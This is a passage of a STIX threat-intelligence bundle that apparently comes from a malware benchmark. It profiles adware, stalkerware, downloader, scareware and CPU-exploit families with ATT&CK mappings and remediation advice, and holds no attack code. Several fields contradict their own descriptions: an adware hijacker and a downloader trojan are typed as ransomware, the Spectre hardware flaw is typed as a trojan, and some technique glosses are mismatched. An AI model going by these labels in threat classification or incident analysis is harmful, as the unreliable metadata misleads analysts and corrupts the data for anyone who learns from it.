Policy Object (GPO) modifications in Windows to force-install these extensions and prevent the user from disabling them.</li>\n<li><strong>Search Hijacking and Redirection:</strong> The adware alters the browser's default search engine and homepage. Legitimate search queries are intercepted and routed through attacker-controlled domains to artificially inflate traffic metrics for affiliate programs.</li>\n<li><strong>Content Injection:</strong> SpecialSearchOffer actively modifies the HTML of legitimate websites the user visits, overlaying the page with intrusive pop-ups, banner ads, and in-text hyperlinks that were not placed there by the site owner.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile SpecialSearchOffer does not typically encrypt files like ransomware, it severely degrades the operational capacity of the endpoint. The constant redirection and rendering of injected ads consume significant CPU and RAM, leading to browser crashes and system instability. Furthermore, the extensive harvesting of browsing history constitutes a severe privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> Utilize an enterprise-grade anti-malware solution capable of detecting and removing deeply embedded Potentially Unwanted Programs (PUPs), specifically targeting the persistent registry keys associated with the hijacker.</li>\n<li><strong>Remediation of Group Policies:</strong> IT staff must inspect the local Group Policy settings (specifically Chrome/Edge enterprise policies) to remove any entries that are force-installing the malicious extensions.</li>\n<li><strong>Browser Factory Reset:</strong> The most effective way to eradicate the hijacking components is to perform a complete factory reset of all installed web browsers, clearing all extensions, caches, and custom settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SpecialSearch",
        "BrowserHijacker.SpecialSearchOffer",
        "PUP.SpecialSearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Specialsearchoffer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/specialsearchoffer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96c93d7f-8984-5f9e-98f7-4671b8360ed9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3996915-273b-5fca-8dc2-e206f0a90998",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specialsearchoffer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--855c3346-0589-5d77-a3cf-ef3b28bf1245",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3996915-273b-5fca-8dc2-e206f0a90998",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specialsearchoffer exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--732adfd2-22f5-5c2f-a8b5-3bf354f92000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3996915-273b-5fca-8dc2-e206f0a90998",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specialsearchoffer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--45a69fb9-52a4-51a0-8686-5f763c83a972",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spector",
      "description": "<h3>Executive Summary</h3>\nSpector (often marketed commercially as Spector Pro or SpectorSoft) is a highly capable surveillance and employee monitoring software. While developed and sold by a legitimate corporate entity, its aggressive surveillance capabilities and stealth features classify it as Spyware, Riskware, or Stalkerware when deployed without the explicit, informed consent of the end-user.\n\n<h3>Technical Architecture and Surveillance Capabilities</h3>\nSpector is designed to operate completely invisibly, hiding its processes from the Task Manager, removing its icon from the system tray, and avoiding uninstallation lists.\n\nOnce installed (often requiring physical access or administrative deployment), Spector provides exhaustive monitoring capabilities:\n<ul>\n<li><strong>Total Activity Logging:</strong> It records every keystroke typed (keylogging), captures periodic screenshots, and logs all applications launched, including duration of use.</li>\n<li><strong>Communication Interception:</strong> Spector actively monitors and records both sides of chat conversations (Skype, WhatsApp, Slack), captures sent and received emails, and logs all visited websites.</li>\n<li><strong>Data Exfiltration:</strong> The software aggregates the surveillance data and silently transmits it to a remote server or directly to the monitor's email address on a scheduled basis, allowing for near real-time surveillance of the victim.</li>\n</ul>\n\n<h3>Security and Privacy Implications</h3>\nThe deployment of Spector poses severe privacy and legal risks. In many jurisdictions, deploying such software without explicit employee or user consent violates wiretapping and privacy laws. From a security perspective, the software collects highly sensitive data (including passwords and personal communications), which can be disastrous if the centralized surveillance database is breached by a third party.\n\n<h3>Detection and Remediation Strategies</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> EDR solutions can detect the deep system hooks (API hooking) and keystroke logging drivers utilized by Spector, even when the software attempts to hide its main executable.</li>\n<li><strong>Policy Enforcement:</strong> Clearly define acceptable use policies regarding employee monitoring. Utilize enterprise antivirus to classify commercial spyware as a Potentially Unwanted Program (PUP) and automatically block its installation.</li>\n<li><strong>System Re-image:</strong> Due to the deep system integration and rootkit-like cloaking mechanisms employed by commercial surveillance tools, the most reliable method of eradication is a complete wipe and re-image of the affected endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.Spector",
        "Riskware.SpectorPro",
        "Stalkerware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spector"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddbbf05f-74ec-564c-81af-d2d6e665464c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45a69fb9-52a4-51a0-8686-5f763c83a972",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spector exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b033b203-10ed-5fa8-acde-fe7b0813173c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45a69fb9-52a4-51a0-8686-5f763c83a972",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spector exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efeb939c-0949-507d-9f04-9997b43bdea4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45a69fb9-52a4-51a0-8686-5f763c83a972",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spector exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b57aec9-098b-5de1-88f5-4adecf2723a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45a69fb9-52a4-51a0-8686-5f763c83a972",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spector exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b85813ec-b1ef-55ba-8459-991d8f545768",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spectorpro",
      "description": "Spyware:Win32/Spectorpro (or Spector Pro) is commercial employee monitoring and surveillance software that is frequently classified as spyware/riskware. While it has legitimate corporate use cases (with explicit employee consent), it is often deployed maliciously by threat actors or insiders as a powerful, stealthy keylogger (`T1056.001`) and data collection tool, blurring the line between administrative tool and malware.<br><br><b>Understanding Spectorpro</b><br>To the end-user, Spectorpro is designed to be completely invisible. It hides its processes, files, and registry entries. For a SOC analyst, detecting Spectorpro requires determining intent: is this an authorized HR/Security deployment, or an unauthorized installation by an insider threat (like a disgruntled employee) or external attacker attempting to harvest credentials and monitor activity?<br><br><b>Execution and Data Collection Mechanics</b><br>Spectorpro requires administrative privileges to install. Once running, it hooks deep into the Windows operating system. It performs comprehensive surveillance: capturing keystrokes (`T1056.001`), taking continuous screenshots (`T1113`), recording emails/chats, and tracking website visits. Because it is commercial software, it is highly stable and often whitelisted by default AV configurations. The collected data is typically saved locally in encrypted, hidden files and then periodically emailed or uploaded via FTP to a central server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of privacy and the potential compromise of sensitive corporate data or credentials. Host-based IoCs can be difficult to find due to its rootkit-like cloaking abilities, but analysts can look for specific hidden directories, anomalous scheduled tasks, or services with names mimicking standard Windows components but lacking Microsoft digital signatures. Network IoCs include periodic, automated SMTP or FTP connections from the endpoint uploading large archives. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spectorpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spectorpro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac011a91-2333-5ae7-918b-2e3269bde413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85813ec-b1ef-55ba-8459-991d8f545768",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spectorpro exhibits technique T1056.001 (Input Capture: Keylogging (Capturing all user keystrokes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5709a22b-ffe4-58fa-a97d-844db16c9055",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85813ec-b1ef-55ba-8459-991d8f545768",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spectorpro exhibits technique T1113 (Screen Capture (Taking continuous screenshots of user activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecd2c014-0d25-590c-9297-10e77413f0c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b85813ec-b1ef-55ba-8459-991d8f545768",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spectorpro exhibits technique T1114.001 (Email Collection: Local Email Collection (Recording email communications))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9fae95e-989a-5ccf-93a3-015fa2174016",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spectre",
      "description": "Exploit:Win32/Spectre (and the related Meltdown) represents a paradigm shift in cybersecurity. It is a detection for exploits targeting critical hardware vulnerabilities inherent in the design of almost all modern microprocessors (Intel, AMD, ARM). Spectre exploits the 'speculative execution' feature of modern CPUs to break process isolation, allowing an attacker to read sensitive data directly from the memory of other running applications.<br><br><b>Understanding Spectre (Hardware Vulnerabilities)</b><br>To an end-user, a Spectre exploit is completely invisible and leaves no traditional traces on the file system. For a security architect, Spectre represents a fundamental flaw in the hardware level (`T1068`). Unlike traditional malware that exploits software bugs, Spectre exploits the CPU's attempt to guess and pre-execute instructions to improve speed. By manipulating this guessing process, attackers can force the CPU to temporarily access protected memory and then extract that data via a 'side-channel' attack.<br><br><b>Execution and Exploitation Mechanics</b><br>Spectre is notoriously difficult to exploit reliably in the wild, but it can theoretically be executed via malicious JavaScript embedded in a website (`T1189`), or by a local, unprivileged executable (`T1204.002`). The exploit uses highly precise timing attacks against the CPU's cache to infer the contents of memory belonging to the OS kernel or other processes, like a password manager or a browser containing active session tokens. Because the CPU is technically operating as designed, traditional AV solutions cannot detect the malicious memory access.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the unauthorized disclosure of highly sensitive data (passwords, encryption keys, proprietary algorithms). Host-based IoCs for the exploit itself are virtually non-existent for standard EDR tools, as the attack occurs entirely within the CPU's cache and registers. Detection relies entirely on heuristic analysis of programs attempting aggressive, highly precise cache timing loops. Mitigation is the primary defense strategy. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spectre",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spectre"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9661be2b-0cab-54b7-9c0b-aa7d5707f77d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fae95e-989a-5ccf-93a3-015fa2174016",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spectre exhibits technique T1068 (Exploitation for Privilege Escalation (Hardware-level isolation bypass))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4a491060-efc0-5201-8bf7-fdc0af2700e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1559: Inter-Process Communication (Abusing shared CPU cache for side-channels)",
      "description": "MITRE ATT&CK Technique T1559 (Inter-Process Communication (Abusing shared CPU cache for side-channels)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1559",
          "url": "https://attack.mitre.org/techniques/T1559/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82d8a10e-846b-56f6-a095-460432564b4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fae95e-989a-5ccf-93a3-015fa2174016",
      "target_ref": "attack-pattern--4a491060-efc0-5201-8bf7-fdc0af2700e0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spectre exhibits technique T1559 (Inter-Process Communication (Abusing shared CPU cache for side-channels))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7323cea2-3a14-533b-9223-ede806f732de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Specx",
      "description": "<h3>Executive Summary</h3>\nSpecx is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpecx is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Specx operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Specx ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Specx receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Specx infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Specx executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Specx frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Specx",
        "Downloader.Specx",
        "Win32/Specx"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Specx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/specx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7c3456c-ff13-5947-a7bd-80c80fea622f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7323cea2-3a14-533b-9223-ede806f732de",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specx exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2507a26c-eefc-5e42-b3f2-7f57abf7ac54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7323cea2-3a14-533b-9223-ede806f732de",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f9aef56-e3ce-597f-baf5-5870be2f3954",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7323cea2-3a14-533b-9223-ede806f732de",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Specx exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--20faecf1-fb78-5680-98df-083ec14f1570",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speed",
      "description": "Rogue:Win32/Speed is a classic example of Rogue Software, specifically a 'Fake System Optimizer' or 'Scareware'. It masquerades as a legitimate PC performance enhancement utility, performing fabricated system scans that inevitably report hundreds of non-existent registry errors, junk files, and performance bottlenecks. Its sole purpose is to employ deceptive social engineering to frighten the user into purchasing a premium license to 'fix' the fabricated issues.<br><br><b>Understanding Speed (Fake Optimizers)</b><br>To an end-user, Speed appears to be a helpful utility warning them that their computer is on the verge of crashing. For a security analyst, it is a Potentially Unwanted Program (PUP) that utilizes fraudulent tactics (`T1566.002`). It degrades system performance, steals financial data via fraudulent transactions, and often acts aggressively to force the user to pay.<br><br><b>Execution and Deception Mechanics</b><br>Speed is primarily distributed through deceptive malvertising, drive-by downloads (`T1189`), or bundled with other freeware. Upon execution, it establishes persistence by modifying the Registry Run keys (`T1547.001`) or creating scheduled tasks to ensure it launches automatically on boot. To maintain its illusion of utility and force payment, it actively displays persistent, alarming desktop pop-ups (`T1491.001`) claiming the hard drive is failing or the registry is corrupted. It may also attempt to block access to legitimate system tools like the Control Panel to prevent removal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss for the user (fraud) and reduced endpoint usability. Host-based IoCs include the presence of a new, highly aggressive 'optimizer' application demanding payment, persistent desktop pop-ups, and the potential inability to open legitimate administrative tools. EDR telemetry will log the software's autostart registry modifications and its rapid creation of fraudulent log files. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speed"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6344625a-a17c-56c0-8096-6e8d8eeedcf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20faecf1-fb78-5680-98df-083ec14f1570",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speed exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering tactics to drive installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c684d4f9-7a84-5aea-8c5d-f936140cb3e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20faecf1-fb78-5680-98df-083ec14f1570",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speed exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adcfdc32-0478-5044-a92e-008133031779",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20faecf1-fb78-5680-98df-083ec14f1570",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speed exhibits technique T1491.001 (Defacement: Internal Defacement (Persistent scareware pop-ups on the desktop))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6a21549-6093-5dff-8ae2-66373b2f743f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speedbit",
      "description": "PUA:Win32/Speedbit (also known as **SpeedBit Video Accelerator** or **Download Accelerator Plus**) represents a category of Potentially Unwanted Programs (PUAs) marketed as tools to dramatically increase video buffering speeds and file download rates. While early versions of these tools may have provided some marginal network optimization, modern iterations are highly deceptive, bundling aggressive adware, browser hijackers, and utilizing deceptive UI practices to monetize the user's endpoint without clear consent.<br><br><b>Understanding Speedbit PUAs</b><br>To an end-user, downloading a video accelerator seems like a logical solution to slow internet. However, the installation process is a minefield. For a security analyst, a Speedbit detection is a red flag indicating a user is bypassing corporate acceptable use policies and installing unvetted freeware that frequently compromises the endpoint's browser integrity and exposes the network to malvertising.<br><br><b>Execution and Bundling Mechanics</b><br>These tools are distributed heavily via SEO poisoning and malvertising (`T1189`). During execution (`T1204.002`), the installer employs 'Dark Patterns'\u2014hiding the adware installation behind 'Express Install' buttons. It silently installs rogue browser extensions (`T1176`), alters the default search engine, and establishes persistence via Registry Run keys (`T1547.001`). Crucially, to 'accelerate' traffic, Speedbit often installs a local proxy service or alters network adapter settings (`T1562.004`) to route all HTTP traffic through its own engine, breaking secure connections and allowing it to inject its own advertisements directly into the DOM of websites the user visits (`T1185`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, browser hijacking, and potential interception of unencrypted web traffic. IoCs include EDR alerts for the installation of known adware families bundled with the accelerator. Host-based indicators include unauthorized modifications to browser registry keys (e.g., `HKLM\\SOFTWARE\\Policies\\Google\\Chrome`) and the presence of a local proxy listening on `127.0.0.1`. Network logs will show anomalous search traffic routed to unknown tracking domains. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speedbit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speedbit"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0d82894-e297-57cc-83b7-eb464b626bed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6a21549-6093-5dff-8ae2-66373b2f743f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedbit exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b8c49d9-3403-518c-8b55-98894b3b2f62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6a21549-6093-5dff-8ae2-66373b2f743f",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedbit exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Rerouting traffic through local proxy))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2e036ff-3081-536c-b5c1-d388620a5f0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6a21549-6093-5dff-8ae2-66373b2f743f",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedbit exhibits technique T1176 (Browser Extensions (Bundled adware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df7346f9-456b-5c7e-8175-1b49fd7fae2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6a21549-6093-5dff-8ae2-66373b2f743f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedbit exhibits technique T1185 (Browser Session Hijacking (Search redirection and ad injection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f112c03a-fc13-5e7c-9951-ee7e25f39f3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speedcat",
